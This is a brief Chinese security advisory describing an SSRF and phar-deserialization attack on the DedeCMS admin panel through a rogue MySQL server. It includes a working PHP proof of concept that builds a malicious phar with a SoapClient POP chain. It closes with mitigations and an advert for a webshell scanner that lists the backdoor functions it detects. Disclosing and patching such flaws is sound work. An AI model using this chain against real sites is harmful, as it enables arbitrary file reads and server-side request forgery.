DedeCMS 后台存在SSRF漏洞
dedecms的后台存在ucenter功能,可以直接修改ucenter的配置,使网站的mysql连接。指向我们预先构造的rogue mysql server https://zuola.net/Gifts/Rogue-MySql-Server.git
设置之后我们就可以通过修改恶意服务端的设置来读取任意文件。 假如读取的文件路径是以phar协议开头的,那么读取的文件内容就会被反序列化。 根据dedecms的代码,我们可以利用soapclient内置类来构造反序列化pop链来ssrf。
<?php class Control { var $tpl; public $dsql; function __construct(){ $this->dsql = new SoapClient(null,array('uri'=>'http://test:5555', 'location'=>'http://test:5555/aaa')); } } @unlink("dedecms.phar"); $phar = new Phar("dedecms.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $o = new Control(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?> |
解决方案:
临时解决方案
通过mysqli_options设置链接时禁用allow_local_infile配置可阻止该漏洞。
或在php.ini中改配置为mysqli.allow_local_infile = Off
推荐D盾—WEB查看工具:
软件使用自行研发不分扩展名的代码分析引擎,能分析更为隐藏的WebShell后门行为。
引擎特别针对,一句话后门,变量函数后门,${}执行 ,`执行,
preg_replace执行,call_user_func,file_put_contents,fputs 等特殊函数
的参数进行针对性的识别,能查杀更为隐藏的后门,
并把可疑的参数信息展现在你面前,让你能更快速的了解后门的情况
新版特别针对 dedecms 的{dede:php}{/dede:php}代码加入了识别!
软件加入隔离功能,并且可以还原!
如有不能识别的webshell请使用上传样本功能上传给我们,我们将后期加入识别!
下载:http://www.zuola.net/down/WebShellKill_V1.4.1.zip